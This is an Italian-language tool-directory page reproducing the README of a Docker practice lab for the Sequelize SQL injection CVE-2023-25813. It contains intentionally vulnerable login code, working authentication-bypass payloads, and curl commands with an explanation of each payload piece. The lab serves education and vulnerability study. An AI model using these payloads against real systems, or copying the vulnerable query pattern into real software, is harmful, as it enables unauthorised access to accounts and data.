Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-25813-TEST — Implementazione della vulnerabilità Sequelize SQL Injection | Kitploit
Strumenti/GitHubGitHub/h-gunp/cve-2023-25813-test
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubh-gunp/cve-2023-25813-test

CVE-2023-25813-TEST

Implementazione della vulnerabilità Sequelize SQL Injection

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE Test App

App di esercitazione Express + MySQL per verificare localmente il comportamento della CVE-2023-25813 di Sequelize.

Questo progetto mantiene intenzionalmente una versione vulnerabile di Sequelize e un pattern di query di login vulnerabile. Non esporlo a Internet: eseguilo solo in un ambiente di laboratorio Docker locale.

Configurazione

  • Web: Express, EJS
  • DB: MySQL 8.0
  • ORM: Sequelize 6.19.0
  • Porta DB Docker: localhost:3307
  • Porta Web: localhost:3000

Funzionalità principali:

  • Registrazione
  • Login/Logout
  • Visualizzazione dell'account attualmente connesso
  • Creazione/modifica/eliminazione di post
  • Creazione automatica del DB all'avvio dell'app
  • Creazione automatica dell'account admin all'avvio dell'app
  • Rotta di login per la riproduzione della CVE-2023-25813

Variabili d'ambiente

Viene usato il file .env. Per un esempio, fare riferimento a .env.example.

root@kitploit:~
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin

Quando viene eseguito con Docker, il container dell'app non usa il MySQL locale ma il servizio db all'interno del Compose.

root@kitploit:~
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307

Esecuzione con Docker

Dopo aver avviato Docker Desktop, esegui in PowerShell.

root@kitploit:~
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build

Apri nel browser.

root@kitploit:~
http://localhost:3000

Verifica dello stato:

root@kitploit:~
docker compose ps
docker compose logs app --tail 50

Arresto:

root@kitploit:~
docker compose down

Per inizializzare anche i dati del DB:

root@kitploit:~
docker compose down -v

Verifica del DB

Per connettersi direttamente al MySQL dentro Docker:

root@kitploit:~
docker compose exec db mysql -uroot -p cve_test_db

La password è il valore DB_PASSWORD presente in .env.

Con strumenti GUI come Workbench, ci si connette con i seguenti valori.

root@kitploit:~
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db

Se il DB è stato creato, nei log dell'app compare un messaggio di questo tipo.

root@kitploit:~
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중

Account amministratore predefinito

All'avvio, l'app crea automaticamente l'account admin usando i valori di .env.

Valori predefiniti:

root@kitploit:~
아이디: admin
비밀번호: admin

Dopo il login, in alto nella pagina principale viene visualizzato l'account attualmente connesso.

root@kitploit:~
현재 접속 계정: admin

Verifica del login normale

Nel browser vai su /login e poi:

root@kitploit:~
아이디: admin
비밀번호: admin

Se il login riesce, vieni reindirizzato a / e nella pagina principale vedi l'account attualmente connesso.

Per verificare con curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=admin" `
  --data-urlencode "password=admin"

Criteri di successo:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

Payload di esercitazione CVE

Nel browser vai su /login e inserisci i seguenti valori.

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

Se il login riesce, vieni reindirizzato a / e non a /login?error=invalid. Anche l'account attualmente connesso nella pagina principale viene mostrato come utente autenticato.

Verifica con curl:

root@kitploit:~
curl.exe -i -X POST http://localhost:3000/login `
  -H "Content-Type: application/x-www-form-urlencoded" `
  --data-urlencode "username=/**/OR/**/1=1)/**/#" `
  --data-urlencode "password=:username"

Criteri di successo:

root@kitploit:~
HTTP/1.1 302 Found
Location: /

Principio del payload

Il codice vulnerabile si trova nella rotta di login.

root@kitploit:~
const user = await User.findOne({
    where: and(
        literal('username = :username'),
        { password }
    ),
    replacements: { username: username }
});

In caso di login normale, la SQL assume all'incirca questa forma.

root@kitploit:~
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;

Il problema è l'uso combinato di literal('username = :username'), { password } e replacements nella stessa query. In Sequelize 6.19.0, replacements viene applicato all'intera query, quindi anche :username all'interno del valore password inserito dall'utente può essere sostituito.

Il payload di esercitazione si inserisce così.

root@kitploit:~
username = /**/OR/**/1=1)/**/#
password = :username

In questo caso, la query effettiva nei log appare all'incirca in questa forma.

root@kitploit:~
WHERE (
  username = '/**/OR/**/1=1)/**/#'
  AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;

Significato dei singoli pezzi:

  • password=:username: è il punto chiave che fa sì che la sostituzione di username avvenga anche nel campo password.
  • /**/: blocco trattato come commento in MySQL. Funziona come uno spazio, quindi i token SQL restano separati anche se gli spazi attorno a OR vengono rimossi.
  • OR 1=1: aggiunge una condizione sempre vera.
  • ): chiude il gruppo di condizioni AND(...) creato da Sequelize.
  • #: commento di una riga in MySQL. Commenta le virgolette rimanenti e i frammenti attorno a LIMIT 1, evitando errori di sintassi.

Di conseguenza la condizione risulta sempre vera, viene selezionata la prima riga utente e l'app tratta il login come riuscito.

Errori frequenti

Se compare un errore di sintassi SQL

I payload che dipendono dagli spazi, come quello seguente, possono fallire se gli spazi iniziali/finali vengono rimossi durante l'inserimento nel browser.

root@kitploit:~
 OR 1=1) -- 

Il commento -- di MySQL richiede uno spazio dopo. Se lo spazio manca, non viene riconosciuto come commento e causa un errore di sintassi.

In questo progetto si consiglia il seguente payload.

root@kitploit:~
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username

Se il DB non risulta visibile nel MySQL locale

Quando esegui con Docker, il DB viene creato nel container db, non nel server MySQL locale. Per vederlo dal PC host, connettiti a localhost:3307.

Se compare un avviso npm audit

È normale. Questa app mantiene una versione vulnerabile di Sequelize per l'esercitazione sulla CVE.

root@kitploit:~
[email protected]

Eseguendo npm audit fix, la vulnerabilità oggetto dell'esercitazione potrebbe sparire.

Scarica lo strumento